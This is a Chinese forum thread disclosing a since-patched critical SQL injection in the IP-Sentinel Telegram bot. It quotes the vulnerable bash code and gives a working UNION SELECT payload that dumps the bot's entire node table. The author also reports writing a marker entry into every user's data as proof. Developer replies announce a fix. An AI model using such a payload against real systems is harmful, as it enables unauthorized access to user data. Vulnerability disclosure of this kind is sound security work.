logo NodeSeekbeta

[已修复][分析留档] IP-Sentinel 严重 SQL 注入漏洞

Tip

发帖当日(2026/04/10),该问题已被修复。
影响范围:2.x.x, 3.0.0


原帖: 【告别“送中”】IP-Sentinel v2.1.0 重磅发布:分布式矩阵+零配置接入,让你的小鸡秒变当地人!
风险等级: Critical


稍作分析

db_exec() {
    sqlite3 "$DB_FILE" "$1"
}

该函数直接将拼接后的完整 SQL 字符串交给 sqlite3,没有参数化、没有转义、没有输入校验。

注入点 1

if [[ "$TEXT" == *"#REGISTER#"* ]]; then
    REG_LINE=$(echo "$TEXT" | grep "#REGISTER#" | head -n 1 | tr -d '\` ')
    IFS='|' read -r MAGIC NODE_NAME AGENT_IP AGENT_PORT <<< "$REG_LINE"

    db_exec "INSERT INTO nodes (chat_id, node_name, agent_ip, agent_port, last_seen) VALUES ('$CHAT_ID', '$NODE_NAME', '$AGENT_IP', '$AGENT_PORT', CURRENT_TIMESTAMP) ON CONFLICT(chat_id, node_name) DO UPDATE SET agent_ip='$AGENT_IP', agent_port='$AGENT_PORT', last_seen=CURRENT_TIMESTAMP;"
fi

NODE_NAMEAGENT_IPAGENT_PORT 完全来自 Telegram 文本,且直接进入 SQL。

注入点 2

删除逻辑位于 master/tg_master.sh:101-103

TARGET_NODE=${TEXT#*:}
db_exec "DELETE FROM nodes WHERE chat_id='$CHAT_ID' AND node_name='$TARGET_NODE';"

TARGET_NODE 来自回调数据 del:*,同样直接拼接进 SQL。

这意味着攻击者不需要走注册入口,也可以直接通过构造 del:... 触发 SQL 注入。

注入点 3

ACTION_TYPE=$(echo "$TEXT" | cut -d':' -f1)
TARGET_NODE=$(echo "$TEXT" | cut -d':' -f2)

AGENT_INFO=$(db_exec "SELECT agent_ip, agent_port FROM nodes WHERE chat_id='$CHAT_ID' AND node_name='$TARGET_NODE' LIMIT 1;")

TARGET_NODE 依然来自 Telegram 回调数据。


实战环节:如何让 Bot 通过注入点输出其全表呢?

原始 SQL:

AGENT_INFO=$(db_exec "SELECT agent_ip, agent_port FROM nodes WHERE chat_id='$CHAT_ID' AND node_name='$TARGET_NODE' LIMIT 1;")

通过构造如下 SQL 来 dump 全表:

SELECT agent_ip, agent_port FROM nodes
WHERE chat_id='999999' AND node_name='' UNION SELECT group_concat(chat_id||char(44)||node_name||char(44)||agent_ip||char(44)||agent_port||char(44)||last_seen,char(10)),'1' FROM nodes--' LIMIT 1;

Payload 如下:

report:' UNION SELECT group_concat(chat_id||char(44)||node_name||char(44)||agent_ip||char(44)||agent_port||char(44)||last_seen,char(10)),'1' FROM nodes--

成功 dump 全表。

下面是原始帖子

点击展开

原帖: 【告别“送中”】IP-Sentinel v2.1.0 重磅发布:分布式矩阵+零配置接入,让你的小鸡秒变当地人!
风险等级: Critical

结论: Master 端存在多处来自 Telegram 输入的 SQL 注入,而且这些注入点连接着:

  • 节点注册
  • 节点删除
  • 节点查询与动作下发
  • 节点列表展示

结合“任何用户都能向 Bot 发送伪造注册消息”这一事实,攻击者可稳定造成:

  • 任意插入 / 修改 / 删除 / 查询 nodes 表记录
  • 伪造他人名下节点

我已证实构造特定请求结构,可以 dump 出所有使用过官方 telegram 机器人并进行绑定的数据。

image


请开发者及时与我联系领取PoC。


二编:已向全部用户写入可以跳转到本网页的特殊“机器”
如果你是因为这个来的,先别用了,好好看看吧,假设我把链接换成钓鱼链接呢🤔

  • @GuangChen233 #0 发布于4/10/2026, 9:40:20 PM,编辑于4/10/2026, 10:07:17 PM

    原帖: 【告别“送中”】IP-Sentinel v2.1.0 重磅发布:分布式矩阵+零配置接入,让你的小鸡秒变当地人!
    风险等级: Critical

    结论: Master 端存在多处来自 Telegram 输入的 SQL 注入,而且这些注入点连接着:

    • 节点注册
    • 节点删除
    • 节点查询与动作下发
    • 节点列表展示

    结合“任何用户都能向 Bot 发送伪造注册消息”这一事实,攻击者可稳定造成:

    • 任意插入 / 修改 / 删除 / 查询 nodes 表记录
    • 伪造他人名下节点

    我已证实构造特定请求结构,可以 dump 出所有使用过官方 telegram 机器人并进行绑定的数据。

    image


    请开发者及时与我联系领取PoC。


    二编:已向全部用户写入可以跳转到本网页的特殊“机器”
    如果你是因为这个来的,先别用了,好好看看吧,假设我把链接换成钓鱼链接呢🤔

    看到了,看到了
    我还纳闷,tg机器人怎么出现界面混乱了~
    原tg机器人已暂停使用,正在紧急加固!
    @gonode #3

  • @GuangChen233 #8

    感谢大佬及时发现漏洞,避免给广大网友造成损失
    现已加固处理,新版v3.0.1紧急发布,希望能继续“不吝赐教”

    github补丁内容

  • vibe coding后遗症

  • @Flanker #1 发布于2026/4/10 21:40:59
    vibe coding后遗症

    还真是

  • 真个东西到底是不是真有用?有人送中成功拉回来过吗?用自己的bot就没这问题了吧?

  • @uixg #4 发布于2026/4/10 21:50:17
    真个东西到底是不是真有用?有人送中成功拉回来过吗?用自己的bot就没这问题了吧?

    理论上没问题,但Agent端存在可被远程触发的条件式 RCE,我没写

  • 等一个修复后的版本

你好啊,陌生人!

我的朋友,看起来你是新来的,如果想参与到讨论中,点击下面的按钮!

📈用户数目📈

目前论坛共有60110位seeker

🎉欢迎新用户🎉